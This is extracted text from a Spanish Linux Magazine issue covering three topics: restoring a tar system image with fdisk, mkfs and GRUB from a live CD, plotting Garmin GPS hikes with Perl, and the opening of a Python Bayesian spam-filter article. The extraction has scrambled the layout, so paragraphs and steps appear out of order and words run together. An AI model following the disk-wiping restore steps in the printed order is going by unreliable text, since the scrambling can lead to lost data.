Después de crear una imagen con loscontenidos que se necesiten, el siguientepaso es utilizar alguna herramienta decopiado de DVD ( digamos K3b) para volcarla imagen a un DVD.
La Línea al RescateDurante el proceso de restauración, es decir,el proceso de volcado de la imagen que seha creado, puede ser de gran ayuda una dis-tribución Linux en Live CD, ya que permite
arrancar una distribución mínima. El LiveCD más popular es Knoppix [1]. Como lospasos para restaurar la imagen se realizanpor medio de la línea de comandos, una dis-tribución Live CD basada en texto, comoGentoo Live CD [2], Grml [3] o las instala-ciones Suse o Red Hat en modo rescateserán suficientes. Todas estas distribucionesproporcionan las herramientas necesarias.
Para liberar la unidad de DVD para eldisco con la imagen después de arrancar elsistema, hay que arrancar la distribuciónLive de forma que ubique el sistema opera-tivo en la memoria de la máquina. Tras ello,se puede desmontar el Live CD e insertar eldisco con la imagen. La mayoría de los sis-temas Live llaman a este parámetro toram.Si se tiene Knoppix, habría que introducirknoppix toram; para Grml, sería grml
toram. Y si se tiene el Live CD de Gentoo,con el comando gentoo docache será sufi-ciente.
Preparación del Disco DuroAntes de restaurar la imagen hay que parti-cionar y formatear el disco duro con laherramienta de particionado de disco enmodo de texto fdisk.
En Linux, los discos duros se referencianpor nombres de dispositivos como /dev/hda
(IDE) o /dev/sda (S-ATA/SCSI). La últimaletra en el nombre del dispositivo (en esteejemplo es la “a”) hace referencia al“número” del dispositivo. Por ejemplo, el
segundo disco IDE en un PC tiene el nom-bre de dispositivo /dev/hdb. Para las parti-ciones se le añade un número al nombre deldispositivo; por ejemplo, /dev/sda1 es laprimera partición del primer disco S-ATA oSCSI.
Comencemos con el proceso de restaura-ción desde la línea de comandos del Live CD.Se comienza tecleando fdisk /dev/hda paraentrar en el modo comando de fdisk. Tecle-ando m desde el prompt de fdisk se listan lasopciones disponibles. Si el disco no es nuevo,habrá que eliminar cualquier partición quehaya en él. Tecleando p (para “print” – impri-mir) se obtiene un resumen de las particionesque hay en el disco; d (“delete” – eliminar)borrará las particiones.
La Tabla 1 muestra los comandos que senecesitan para configurar un disco duro concuatro particiones. Los requerimientos decada usuario pueden ser diferentes. Se puedencrear particiones extendidas, como la númerocuatro, y luego añadirle unas cuantas particio-nes lógicas, aunque cuatro serán suficientespara la mayoría de los sistemas de escritorio.
El comando n (“new” – nuevo) le indica afdisk que cree una partición nueva. Fdisk pre-guntará a continuación si ésta va a ser unapartición primaria o extendida. La herra-mienta también espera el número de la parti-ción y los números de comienzo y fin de loscilindros de la partición o bien el tamaño (enKiloytes, Megabytes o Gigabytes).
El comando a (“active” – activo) marca laprimera partición como partición de arranque.Para la partición de swap, habrá que pulsar t(“type” – tipo) y establecer el tipo 82.
Ahora que se ha particionado el disco anuestro gusto, habrá que escribir la informa-ción de las particiones al disco pulsando latecla w (“write” – escribir) para almacenar lainformación en el MBR (Master Boot Record).Es una buena idea verificar las particiones enesta fase con el comando fdisk -l /dev/hda
(Figura 1).Si no se quieren introducir los comandos de
fdisk interactivamente, se pueden almacenaren un fichero de control y pasarle este ficheroa fdisk. En el Listado 1 se muestra un ficherode control.
Lo siguiente que hay que hacer es forma-tear las particiones que se acaban de crear conun sistema de ficheros que gestione los fiche-ros y los directorios que se van a restaurar. Lossistemas de ficheros más populares en los sis-temas Linux de escritorio son Ext2, Ext3 y Rei-serFS. Los sistemas de ficheros con control deregistro como Ext3 y ReiserFS necesitan másespacio de disco. Con un sistema de ficheros
Figura 1: Particionando un disco duro y redireccionando los comandos a fdisk. Los resultados
se muestran al final.
Backups tar • PRÁCTICO
41Número 22W W W . L I N U X - M A G A Z I N E . E S
PRÁCTICO • Backups tar
42 Número 19 W W W . L I N U X - M A G A Z I N E . E S
/mnt/cdrom. Luego se inserta el DVD quecontiene el fichero con la imagen y se tecleamount /dev/hdb /mnt/cdrom para montarlo.En nuestro ejemplo, /dev/hdb es el nombredel dispositivo para la unidad DVD; el nombredel dispositivo podría variar dependiendo delhardware que se tenga instalado. Para losordenadores que dispongan de discos S-ATA,normalmente es /dev/hda; si se tienen dos dis-cos IDE, el nombre podría ser /dev/hdc.
Por último, para desempaquetar la imagenen la partición adecuada (/mnt/gentoo en elejemplo), hay que ejecutar los siguientescomandos:
nonumber
cd /mnt/gentoo
tar -xvjpf /mnt/cdromU
/image-date.tar.bz2
La opción -x (“extract” – extraer) es la únicadiferencia entre los comandos de empaque-tado y desempaquetado; le indica a tar quedesempaquete el archivo de la imagen. El des-empaquetado tardará un rato, pero es másrápido que una instalación nueva.
OrdenandoSi las particiones y la jerarquía del disco no sehan modificado con respecto a la instalaciónoriginal, no habrá necesidad de cambiar laconfiguración del gestor de arranque o de latabla de particiones. Sin embargo, será precisointroducir cualquier cambio que se haya produ-cido en las particiones en el fichero /etc/fstab
que se ha restaurado. Si se cambia la imagen,desempaquetándola en un segundo disco duroen vez de en el primero, por ejemplo, habráque modificar las entradas en/boot/grub/grub.conf para que se reflejen loscambios.
El paso decisivo a la hora de ordenar el sis-tema tras la restauración a un nuevo disco esinstalar el gestor de arranque, que no se tendráen esta fase, en el MBR (master boot record) deldisco duro. Si esto no se realiza, fallará el pro-ceso de arranque. Más o menos todas las distri-buciones usan como gestor de arranque a Grub(Grand Unified Boot Loader), que utiliza un
pequeño truco para reinstalar la imagen restau-rada.
Los comandos
user # mount -t proc none U
/mnt/gentoo/proc
user # chroot /mnt/gentoo U
/bin/bash
se cambian a la imagen desempaquetadadel nuevo disco duro, tal y como si el sis-tema se hubiese arrancado desde la imagen,utilizando chroot (“change root” – cambiara root). /proc contiene información diversaque necesita grub y esto hace que sea impe-rativo montar el directorio antes de cambiarroot.
Tras llamar a grub desde la “cárcel”chroot, se debería ver:
livecd # grub
grub> root (hd0,0)
grub> setup (hd0)
grub> quit
El comado root apunta a la partición dearranque, en nuestro ejemplo utilizando(hd0,0), es decir, la primera partición delprimer disco duro de la máquina. Éste es elcomando correcto si la instalación no poseeuna partición de arranque separada, peroutiliza /boot bajo la partición raíz. Si se estárestaurando una imagen a un segundodisco duro, el comando sería root (hd1,0).Con setup se escribe el gestor de arranque alMBR del disco duro; el gestor de arranquenormalmente se encuentra en (hd0), esdecir, el primer disco duro de la máquina.
ReinicioAntes de entrar en el “viejo/nuevo”Linux del Live CD, no hay que olvidarsedesmontar las particiones que se hanmontado ejecutando umount. Es precisodeshabilitar la partición de swap conswapoff /dev/hda2. Ahora ya se lepuede decir a la máquina que se reiniciey a disfrutar viendo cómo se arranca lainstalación recién restaurada. �
como Ext2, 32MB estaría bien para el directo-rio /boot. Los comandos para formatear eldisco para los tres sistemas de ficheros sonmkfs.ext2, mkfs.ext3 y mkfs.reiserfs, seguidospor el nombre de la partición. Para formatearla partición raíz del ejemplo con ReiserFS, hayque teclear mkfs.reiserfs /dev/hda3. mkswap
/dev/hda2 creará la partición de swap. Si setiene más interés sobre las particiones, véasela documentación de Gentoo en [4].
Restauración de la imagenCon esto se ha completado más o menos eltrabajo preparatorio y ahora ya se puede res-taurar la imagen del disco. El último paso esmontar las particiones que se han creado en elsistema de ficheros del Live CD. En GentooLive:
user # mount /dev/hda3 U
/mnt/gentoo
user # mkdir /mnt/gentoo/U
{boot,home}
user # mount /dev/hda1 U
/mnt/gentoo/boot
user # mount /dev/hda4 U
/mnt/gentoo/home
user # swapon /dev/hda2
El punto de montaje /mnt/gentoo es un con-venio de Gentoo; no hay que olvidarse decrear un punto de montaje adecuado paraotros Live CDs. Luego se comienza montandoel directorio raíz del disco duro. El comandode la Línea 2 crea los puntos de montaje paralas particiones boot y home. La última líneahabilita la partición swap.
El disco duro ya está configurado para quese pueda restaurar la imagen. Para ello, pri-mero hay que desmontar el Live CD. En lamayoría de las distribuciones esto se lleva acabo a través del comando umount
[1] Knoppix: http://www.knoppix.org
[2] Gentoo Linux: http://www.gentoo.org/
main/en/mirrors.xml
[3] Grml homepage: http://www.grml.org
[4] Gentoo Linux Manual: http://www.
gentoo.org/doc/en/handbook/
handbook-x86.xml?part=1&chap=4
RECURSOS
MBR: El primer bloque de datos (512
bytes) de un disco duro arrancable y par-
ticionado. Contiene una tabla de parti-
ciones y el cargador del sistema.
GLOSARIO
Nombre Partición Comando Tipo Número Inicio/Codigo Fin
/boot /dev/hda1 n p 1 [Enter] +64M
swap /dev/hda2 n p 2 [Enter] +1G
/ /dev/hda3 n p 3 [Enter] +10G
/home /dev/hda4 n p 4 [Enter] [Enter]
- /dev/hda1 a - 1 - -
- /dev/hda2 t - 2 82 -
Tabla 1: Comando Fdisk (Ejemplos)
Perl: GPS • DESARROLLO
43Número 22
UN DÍA DECAMPO
Irse de excursión con un sistema de
navegación es mucho más divertido.
Un dispositivo GPS no sólo nos ofrece
la posición actual, sino que también nos
puede señalar la altitud o la distancia a un
punto. En base a esta idea, el dispositivo
GPS también nos puede indicar la veloci-
dad de marcha, la distancia recorrida y la
hora estimada de llegada. Y lo que es más,
una vez lleguemos a casa podemos conec-
tar el GPS al PC, descargar la información
recogida en ruta y mapear la excursión.
Aunque el receptor GPS “eTrex” de Gar-
min es un dispositivo de bajo coste para
principiantes, es perfecto para el excursio-
nista ocasional. El eTrex, que cuesta unos
120 Euros (99 dólares en EEUU), es prác-
tico, sumergible y tan robusto que sobre-
vive a golpes y caídas sin sufrir daños. Para
conectar el GPS eTrex al PC de vuelta a
casa, necesitamos un cable con una inter-
faz especial que conecta el eTrex al puerto
serie de nuestro ordenador. El cable oficial
es bastante caro (unos 25 Euros, 32 dólares
al cambio) lo que justifica la existencia del
proyecto que encontraremos en [3], que
nos ayuda a construir nuestro propio
cable. Debo confesar que esta vez he sido
algo perezoso: yo he comprado el oficial.
Confusión BabilónicaLos receptores GPS pueden usar varios for-
matos para exportar la información, pero
un proyecto llamado gpsbabel nos puede
ayudar a luchar contra esta confusión
“babilónica” de lenguas. Además de la
capacidad de soportar docenas de forma-
tos, la herramienta es capaz de leer la
información de un Garmin eTrex conec-
tado al puerto serie de nuestra máquina
bajo Linux. La memoria del receptor GPS
guarda los puntos del camino que le haya-
mos marcado durante la marcha, junto con
las rutas (colecciones de puntos del
camino creados manualmente), y las pis-
tas (colecciones de coordenadas grabadas
automáticamente cada pocos segundos).
Si borramos la memoria antes de partir,
y la descargamos cuando regresemos a
casa, tendremos una registro digital exacto
de nuestra excursión. Este es un buen
punto de partida para varios tipos de eva-
luaciones creativas. Supongamos que
conectamos nuestro GPS Garmin al
segundo puerto paralelo de nuestro PC.
Podemos teclear gpsbabel -t -i garmin -f
/dev/ttyS1 -o gpx -F tracks.txt para descar-
gar la información de la excursión (-t) en
formato Garmin (-i garmin) del segundo
W W W . L I N U X - M A G A Z I N E . E S
Los hackers de Perl se suben al monte con un sistema de navegación
que les proporciona una representación gráfica de la excursión.
POR MIKE SCHILLI
Situamos datos GPS en mapas
44 Número 22 W W W . L I N U X - M A G A Z I N E . E S
puerto paralelo (/dev/ttyS1, para el primer
puerto sería con /dev/ttyS0) y guardar la
información en formato GPX (-o gpx) en
un archivo denominado tracks.txt (-F
tracks.txt).
Para evitar tener que ejecutar el proceso
que controla el dispositivo GPS como root,
tenemos que conseguir que el dispositivo
para el segundo puerto paralelo se pueda
escribir antes de leer la información (el
proceso requiere permisos de escritura):
# chmod a+rw /dev/ttyS1
# ls -l /dev/ttyS1
crw-rw-rw- 1 root uucp 4, U
65 Feb 10 22:47U
/dev/ttyS1
Algún tiempo más tarde (sea paciente: los
puertos serie se inventaron en el siglo
pasado), el comando gpsbabel termina de
ejecutarse y encontraremos, si todo va
bien, la información de la ruta en formato
XML en el archivo tracks.txt (véase la
Figura 3). Para no tener que parsear toda la
información XML para las evaluaciones
que vamos a llevar a cabo, el script del Lis-
tado 1 convierte la información a formato
YAML, que es más sencillo de interpretar
que el XML. Del mismo modo, la informa-
ción YAML puede ser convertida, dicho sea
de paso, a estructuras de información Perl
de una pasada. La Figura 4 muestra la
información YAML. Es más fácil de leer,
¿no?
track2yml usa el módulo XML::Twig de
CPAN, que define un manejador al que
Twig salta por cada etiqueta Trkpt. El
objeto XML::Twig::Elt, pasado al maneja-
dor, representa la etiqueta <trkpt>
encontrada con todas sus sub-etiquetas.
El atributo lat (de latitud) es un valor
decimal. Las latitudes Norte son positivas,
y las Sur son negativas. El atributo lon (de
longitud) expresa las longitudes Oeste
como negativas y las Este como positivas.
El subelemento ele nos da la altura de un
punto de la ruta por encima del nivel de
mar, en metros. La etiqueta <time> nos
da la hora en formato UTC (huso horario
GMT) en notación ISO 8601.
La función str2time() del módulo
Date::Parse de CPAN convierte el registro
de hora ISO 8610 a formato Unix indepen-
diente del huso horario, en segundos, para
facilitar cálculos posteriores. La función
handler() empaqueta toda la información
en un hash y guarda una referencia al hash
como un elemento en el array global
@points. El método DumpFile del módulo
YAML, al que se llama más tarde, guarda
todo el array, incluyendo las referencias
DESARROLLO • Perl: GPS
Figura 1: El receptor GPS “eTrex” fabricado
por Garmin es un dispositivo de bajo coste
para principiantes.
Figura 2: Un cable especial nos permite
conectar el eTrex al puerto serie de nuestro
PC.
01 #!/usr/bin/perl -w
02 use strict;
03 use Sysadm::Install qw(:all);
04
05 use XML::Twig;
06 use Date::Parse;
07 use YAML qw(DumpFile);
08
09 my $twig= XML::Twig->new(
10 TwigHandlers => {
11 “trkpt” => \&handler,
12 }
13 );
14
15 my @points = ();
16
$twig->parsefile(“tracks.xml”)
;
17 DumpFile(“tracks.yml”,
\@points);
18
19 ##############################
20 sub handler {
21 ##############################
22 my($t, $trkpt)= @_;
23
24 my $lat =
$trkpt->att(‘lat’);
25 my $lon =
$trkpt->att(‘lon’);
26 my $ele =
$trkpt->first_child(
27
‘ele’)->text();
28
29 my $isotime =
$trkpt->first_child(
30
‘time’)->text();
31 my $time =
str2time($isotime);
32
33 push @points, {
34 lat => $lat, lon =>
$lon,
35 ele => $ele, time =>
$time,
36 isotime => $isotime,
37 };
38 }
Listado 1: tracks2yml
[1] Listados del artículo: http://www.
linux-magazine.es/Magazine/
Downloads/22
[2] “Google Maps Hacks”, Rich Gibson &
Schuyler Erle, O’Reilly 2006
[3] HOWTO y dirección para un cable
Garmin “hágalo-usted-mismo”:
http://pfranc.com
[4] Convertidor de formato GPS: http://
www.gpsbabel.org
[5] Yahoo! Maps Web Services – Guía de
iniciación del API AJAX: http://
developer.yahoo.com/maps/ajax/
RECURSOS
Perl: GPS • DESARROLLO
45Número 22W W W . L I N U X - M A G A Z I N E . E S
Un poco más tarde de la 1:00 pm,
comencé la excursión a una altitud de
unos 200 metros por encima del nivel del
mar, bajando hasta dicho nivel tras una
hora y media de suaves subidas y bajadas.
A esto le siguió una subida de 200 metros
de vuelta al punto de salida del circuito.
El Listado 2 representa el gráfico usando
el módulo RRDTool::OO, que usa, tras el
escenario, la base de datos round robin
rrdtool. Hice uso de rrdtool debido a su ele-
gante (digamos mejor, automática) repre-
sentación de la hora en el eje X. La línea 8
lee la información YAML, y el constructor
new() crea a continuación una nueva base
de datos RRD, usando para ello un archivo
temporal, pues no vamos a conservar la
información más adelante. La función
tmpfile() devuelve dos argumentos, de los
cuales sólo vamos a pasar el primero a
new().
El método create() define entonces el
esquema de almacenamiento de la infor-
mación, que aguarda un valor cada 60
segundos. El receptor GPS lleva la cuenta
cada par de segundos, pero rrdtool simple-
mente agrega la información. La base de
datos puede guardar un máximo de 10.000
puntos de elevación, lo cual debe ser sufi-
ciente incluso para excursiones largas.
El bucle for que comienza en la línea 25
itera sobre los puntos de ruta y alimenta
con ellos la base de datos, junto con el
tiempo, haciendo uso para ello del método
hash, con un formato fácilmente legible en
un archivo denominado tracks.yml, donde
scripts posteriores lo pueden leer llamando
a LoadFile().
Cuesta Arriba y Cuesta AbajoLa excursión de hoy nos lleva al norte del
puente Golden Gate a lo largo del “Coastal
Trail” y del “Rodeo Trail” cuesta arriba y
cuesta abajo a través de las “Marin Head-
lands”, un paisaje pintoresco y ondulado
de la costa del Pacífico. Recabamos la
información guardada por el sistema GPS a
lo largo del camino de tres horas, y repre-
sentamos la información de elevación en
un eje de tiempo obteniendo como resul-
tado el gráfico mostrado en la Figura 5.
01 #!/usr/bin/perl -w
02 use strict;
03 use YAML qw(LoadFile);
04 use RRDTool::OO;
05 use File::Temp qw(tempfile);
06
07 my $trkpts =
LoadFile(“tracks.yml”);
08
09 my $rrd = RRDTool::OO->new(
10 file => (tempfile())[1]);
11
12 $rrd->create(
13 start =>
$trkpts->[0]->{time} - 1,
14 step => 60,
15 data_source => { name =>
“elevation”,
16 type =>
“GAUGE” },
17 archive => { rows =>
10000 });
18
19 for my $trkpt (@$trkpts) {
20 eval { # Deal with dupes
21 $rrd->update(time =>
$trkpt->{time},
22 value =>
$trkpt->{ele});
23 };
24 }
25
26 $rrd->graph(
27 start =>
$trkpts->[0]->{time},
28 end =>
$trkpts->[-1]->{time},
29 image =>
“elevation.png”,
30 vertical_label =>
‘Elevation’,
31 width => 300,
32 height => 75,
33 lower_limit => 0,
34 );
Listado 2: elerrd
Figura 3: La información de la ruta en formato GPX (XML)
que se ha descargado del GPS Garmin.
Figura 4: La misma información de la ruta en formato YAML tras la conversión
con track2yml.
DESARROLLO • Perl:GPS
46 Número 22 W W W . L I N U X - M A G A Z I N E . E S
update(). Dado que rrdtool da error y
aborta si aparece un mismo registro de
tiempo duplicado, se ha envuelto el
comando update en un bloque eval para
conseguir que el script sea más tolerante.
El método graph() representa el gráfico.
El primer punto de la ruta fija la hora de
comienzo, y el registro del último punto el
de finalización. Casi instantáneamente,
deberíamos obtener un atractivo diagrama
en formato PNG en el archivo especificado
en la línea 39, elevation.png (véase la
Figura 5).
Sumas y EsferasPara calcular la distancia cubierta, el Lis-
tado 3 tiene que iterar a través de todos los
puntos de ruta, calcular la distancia entre
ellos y añadir las distancias una a una.
Cada punto de la ruta es una referencia a
un hash que guarda la latitud en lat y la
longitud en lon. $last_pt guarda el punto
de ruta de la última iteración del bucle
(salvo en la primera iteración). A continua-
ción calcula la distancia entre dos puntos
de ruta en función de los valores de longi-
tud y latitud. Esto no es trivial, ya que los
valores representan puntos de la superficie
de un elipsoide. El módulo Geo::Distance
de CPAN usa funciones trigonométricas
para efectuar los cálculos y proporciona un
sencillo método distance(), que aguarda la
unidad de medida requerida (kilómetros o
millas) y dos puntos de la ruta dados como
valores de longitud y latitud. La función
devuelve un valor de la distancia, que
luego atrapa dist:
$ ./dist
Total: 11.67km
Machacando los MapasRecientemente se han puesto muy de
moda los denominados “mash-ups”. Bási-
camente se trata de modificar un mapa
online con una extensión hecha por uno
mismo. Además de Google, la compañía
para la que yo trabajo, Yahoo!, también
permite a los programadores añadir etique-
tas dinámicamente a mapas escalables
haciendo uso de un
sencillo API Javas-
cript.
Para representar
la ruta en un mapa
de Yahoo, en pri-
mer lugar tengo
que reducir el volu-
men de informa-
ción. Los 1800 pun-
tos de ruta que
recogí durante mi
excursión sólo me
generarían un feno-
menal lío. Esta es la
razón por la cual el
Listado 4 itera
sobre los puntos de
ruta en un bucle
for, pasando los
puntos de ruta que están a más de 0,4 kiló-
metros del punto precedente al final del
array @points. De nuevo, Geo::Distance se
encarga de los complejos cálculos de dis-
tancias.
Está disponible un HOWTO de Mash-up
en [5]. La Figura 6 muestra el código
Javascript necesario. Si pretendemos usar
el API, nótese que previamente debería-
mos obtener la ID de la aplicación. El Lis-
tado 4 usa la ID de YahooDemo, que per-
mite 50.000 peticiones por día para una
dirección IP. Obsérvese que el servicio no
permite navegación GPS online. La infor-
mación GPS debe tener al menos 6 horas
de antigüedad.
El código Javascript y varias etiquetas
HTML se guardan en el archivo plantilla
map.tmpl, que se lee por el Listado 4,
interpretado a través del Template Toolkit
de CPAN mediante el procesado del conte-
nido dentro de las etiquetas mágicas
[%...%]. El Template Toolkit proporciona
un sencillo lenguaje de script con control
limitado de las funcionalidades para evitar
tener que programar mucho en la capa de
presentación. De igual manera, el acceso a
las variables es sorprendentemente senci-
llo. Hashes, arrays y referencias se contro-
lan de la misma manera usando un punto
(.) mágico. Por ejemplo, para referenciar el
primer elemento en un array apuntado por
$points, y para extraer el valor de la clave
lat en el hash subyancente, la notación del
Template Toolkit es points.0.lat. En Perl se
hubiese necesitado $points->[0]->{lat}
para esto mismo. ¡Magnífico!
La salida del Listado 4 simplemente se
redirige a un archivo HTML y luego se
representa por un navegador. Esto nos pro-
porciona una ventana de 600x400 píxeles
con un mapa que podemos mover y esca-
01 #!/usr/bin/perl -w
02 use strict;
03 use YAML qw(LoadFile);
04 use Geo::Distance;
05
06 my $trkpts =
LoadFile(“tracks.yml”);
07 my $geo =
Geo::Distance->new();
08
09 my $total = 0;
10 my $last_pt;
11
12 for my $trkpt (@$trkpts) {
13 if($last_pt) {
14 my $k =
$geo->distance(“kilometer”,
15 $last_pt->{lon},
$last_pt->{lat},
16 $trkpt->{lon},
$trkpt->{lat});
17
18 $total += $k;
19 }
20 $last_pt = $trkpt;
21 }
22
23 printf “Total: %.2fkm\n”,
$total;
Listado 3: dist
Figura 6: La plantilla con el código Javascript para crear el mash-up.
Figura 5: Elevación sobre el nivel del mar
durante la excursión.
lar, dado que el Javascript incrustado se
comunica con el servidor de mapas de
Yahoo. Podemos conmutar a la vista de
satélite, y existe incluso un modo híbrido
que nos permite superponer la imagen por
satélite con la información del mapa.
La Figura 7 muestra la imagen inicial
del navegador en el que los puntos de ruta
se presentan como pequeñas burbujas
naranjas numeradas del 1 al 19. Los lecto-
res de fuera de Estados Unidos deberían
advertir que los mapas de Yahoo para su
región puede que no sean tan detallados,
pero las imágenes por satélite (de baja
resolución) al menos deberían ser sufi-
cientes.
El código Javascript de la Figura 6 sólo
demuestra algunos de los trucos más senci-
llos para el API. Podemos añadir burbujas
con imágenes u otras virguerías. Los eventos
como pulsaciones y arrastres del ratón se
pueden capturar, evaluar con algo de código
Javascript, y posiblemente enviar de vuelta
al servidor usando los trucos de Ajax. �
Perl: GPS • DESARROLLO
47Número 22W W W . L I N U X - M A G A Z I N E . E S
01 #!/usr/bin/perl -w
02 ##############################
03 # map - Marcas de progreso en
Yahoo Map
04 # Mike Schilli, 2006
05 ##############################
06 use strict;
07 use YAML qw(LoadFile);
08 use Geo::Distance;
09 use Template;
10
11 my $trkpts =
LoadFile(“tracks.yml”);
12 my $geo =
Geo::Distance->new();
13
14 my $count = 0;
15 my $min = 0.4; # Minimum
marker distance
16 my @points = ();
17 my $last_pt;
18
19 for my $trkpt (@$trkpts) {
20 if($last_pt) {
21 my $k =
$geo->distance(“kilometer”,
22 $last_pt->{lon},
$last_pt->{lat},
23 $trkpt->{lon},
$trkpt->{lat});
24
25 next if $k < $min;
26 }
27 $trkpt->{count} = ++$count;
28 push @points, $trkpt;
29
30 $last_pt = $trkpt;
31 }
32
33 my $template =
Template->new();
34 my $vars = { points =>
\@points };
35
36 $template->process(“map.tmpl”,
$vars) or
37 die $template->error();
Listado 4: map
Figura 7: El mash-up finalizado con los puntos de ruta de la excur-
sión por el norte de San Francisco. Un script representa los puntos
guardados durante la excursión por el dispositivo eTrex.
Figura 8: El mismo mash-up, tras pulsar el botón en el borde supe-
rior izquierdo para conmutar al modo híbrido con satélite y luego
escalarlo con la herramienta de zoom.
EL SPAM SE VA AACABAREL SPAM SE VA AACABAR
ció en la penumbra. Hasta que el spam se
volvió insoportable.
En el año 2002, Paul Graham (ver Recurso
[1]) escribió un ensayo titulado A plan for
Spam, en el cual describía cómo programar
un filtro bayesiano de spam. Paul estaba uti-
lizando ese filtro desde hacía meses con
gran éxito (según cuenta, con un 99.5 % de
aciertos y ningún falso positivo).
Por cierto, la palabra spam se la debemos
al genial grupo humorístico Monty Python,
de cuyo nombre surgió el nombre Python.
Se puede ver el vídeo original del que surgió
el nombre spam en el Recurso [2].
La cruzada contra el spamPaul ha dedicado meses a la lucha contra el
spam. Comenzó clasificando manualmente
el correo como spam o no spam en base a lo
que leía en él, algo que probablemente
hemos hecho todos/as en algún momento.
Inspeccionaba los correos, llegaba a una
conclusión y los colocaba en una carpeta u
otra en base a esa conclusión. El problema
de esta técnica es que, como el lector habrá
supuesto o experimentado, a la larga cansa.
En su ensayo Paul Graham cita a Norbert
Wiener, padre de la cibernética, cuando dice
«…si compites con esclavos acabas convir-
tiéndote en un esclavo». Y en eso se había
convertido, en un esclavo de los spammers.
Eran ellos quienes tenían las de ganar, por-
que son ellos quienes fijan las reglas del
juego.
Después de unos meses trasteando con
técnicas simples, como por ejemplo clasifi-
car los correos en base a frases o palabras
clave del estilo xanax sex, se dio cuenta de
que sería una lucha sin fin. Por ejemplo, los
spammers dejaron de usar la palabra «via-
gra» y comenzaron a usar «v1agra» e incluso
«vagra» .
Decidido a ganarles, pasó a investigar for-
mas más sofisticadas de clasificación de tex-
tos, llegando hasta los filtros bayesianos.
Implementó un nuevo filtro basado en ellos
y el éxito fue extraordinario. Rápidamente
todo el software de filtrado de correos incor-
poró una opción para emplear filtrado baye-
siano.
Un poco de probabilidadEl cálculo de probabilidades parece una téc-
nica difícil de entender, pero la usamos de
forma inconsciente en el día a día. Por ejem-
plo, siendo usuario habitual del transporte
urbano, debo tomar ciertas decisiones
dependiendo de determinadas variables, y
así tengo en cuenta:
• las distintas combinaciones de autobuses
que me llevan a un mismo sitio
• la cantidad de tiempo que debo esperar a
que llegue el autobús
• lo que tarda cada combinación de autobu-
ses en llegar a su destino
• …
Imagina que llegas a una parada del autobús
urbano y ves que está vacía, ¿tardará mucho
en llegar el siguiente autobús?
Si es domingo por la tarde y la parada está
vacía, no podremos realizar ninguna predic-
ción, el transporte urbano no es muy usado
en días festivos. En cambio, si es lunes por la
mañana, en hora punta y la parada está
vacía, podremos suponer que el autobús ha
pasado recientemente.
En función de la información que está en
nuestra mente tomamos decisiones, así
Es una buena pregunta y su contesta-
ción no es sencilla. Si definimos
Spam como correo no solicitado,
entonces no habría forma de determinar si
un correo es spam o no. Pero afortunada-
mente el spam posee unas características
bien definidas. Su mensaje es repetitivo, y el
texto, tarde o temprano, tiene que hacer
referencia a lo que nos intenta vender.
En 1998, M. Sahami, S. Dumais, D. Hec-
kerman y E. Horvitz, cuatro estudiosos de la
inteligencia artificial, se dieron cuenta del
problema que se nos venía encima. Presen-
taron su trabajo A Bayesian approach to filte-
ring junk e-mail (una aproximación baye-
siana al filtrado del correo basura) en un
congreso de la Asociación Americana de
Inteligencia Artificial. A pesar de presentar
unos resultados muy esperanzadores para la
lucha contra el spam, esta técnica permane-
DESARROLLO • Python
48 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Paul Graham publicó un artículo en 2002 en el que decía que los filtros bayesianos acabarían con el Spam,
pero ¿qué es un filtro bayesiano? y, peor aún ¿qué es en realidad el spam?
POR JOSE MARÍA RUÍZ AGUILERA
Filtros Bayesianos en Python
01 >>> a = {}
02 >>> a[‘hola’]=1
03 >>> a[‘adios’]=2
04 >>> b = {}
05 >>> b[‘hola’] = 3
06 >>> b[‘coche’] = 4
07 >>> import sets
08 >>> c = sets.Set(a.keys()) |
sets.Set(b.keys())
09 >>> l = []
10 >>> for palabra in c:
11 ... l.append(palabra)
12 ...
13 >>> l
14 [‘hola’,’adios’,’coche’]
Listado 1: Ejemplo de usode conjuntos
como con aquella otra que podemos extraer
del entorno. Calculamos las probabilidades
de forma aproximada en busca de la mejor
opción. Si fuésemos capaces de crear un
programa que tomase decisiones como lo
hace nuestra mente, habríamos sido los
afortunados programadores creadores de la
primera inteligencia artificial.
Nuestro programa sólo puede operar con
las matemáticas, así que, ¿cómo se pueden
modelar estas decisiones empleando mate-
máticas?
BayesEl teorema de Bayes (o la probabilidad con-
dicionada) es un ejemplo de matemática útil
y práctica. Nos dice que la probabilidad de
tomar el autobús sabiendo que es domingo
es igual a la probabilidad de que siendo
domingo se coja el autobús, por la probabili-
dad de coger el autobús y dividido por la
probabilidad de que sea domingo.
Volviendo al tema del filtrado de correos,
¿cómo sería esta fórmula en nuestro con-
texto? La probabilidad de que un correo sea
spam sabiendo que contiene ciertas palabras
(«hola» ,«venta» ,«nigeria» , …) es igual a la
probabilidad de que esas palabras estén en
un correo spam («nigeria» es una palabra
típica del spam) por la probabilidad de que
un correo cualquiera sea spam (número de
correos spam entre total de correos) dividido
por la probabilidad de que aparezcan esas
palabras en un correo cualquiera.
La palabra «probabilidad» ha aparecido
tantas veces, que estoy seguro que el lector
se habrá asustado. Contrariamente a lo que
pueda creer, la probabilidad es lo más senci-
llo de calcular en todo este asunto. Simple-
mente hay que realizar una división: la pro-
babilidad de que una palabra aparezca en
spam es igu48al al número de veces que
aparece esa palabra en nuestro spam, divi-
dido por el número de veces que aparece en
nuestros correos, sean spam o no.
Digamos que tenemos 100 correos, de los
que 35 son spam y el resto, 65, no lo son. La
palabra nigeria aparece 8 veces, 6 en correos
spam y 2 en correos normales. La probabili-
dad es un número entre 0 y 1. En este caso,
un 0.847, representa un 84% de probabili-
dad. Por tanto un correo con la palabra nige-
ria es muy probablemente spam.
Los filtros bayesianosLos filtros bayesianos han conseguido gran
popularidad. En la Tabla [1] se pueden ver
algunos ejemplos de uso real de esta téc-
nica.
En nuestra implementación del filtro
bayesiano vamos a necesitar alguna estruc-
tura de datos para guardar las apariciones de
cada palabra tanto en el correo normal como
en el spam.
Emplearemos diccionarios. Usaremos dos
directorios. En uno, al que llamaremos
«spam» , guardaremos ficheros de texto con
el cuerpo de correos spam. En el otro direc-
torio, llamémosle «ok», guardaremos los
ficheros con el cuerpo de correos normales.
Nuestro primer paso consistirá en extraer
las palabras que aparecen en los correos de
ambos tipos y contar el número de aparicio-
nes de esas palabras. Entonces las guardare-
mos en dos diccionarios. Así si ok[‘’nige-
ria’’]es igual a 2, significará que la palabra
«nigeria» aparece dos veces en nuestros
correos normales, y si spam[``nigeria’’]es 5,
nos vendrá a decir que nigeria aparece 5
veces en nuestros correos spam.
Este proceso es rutinario:
• abro fichero
• genero una lista de sus palabras
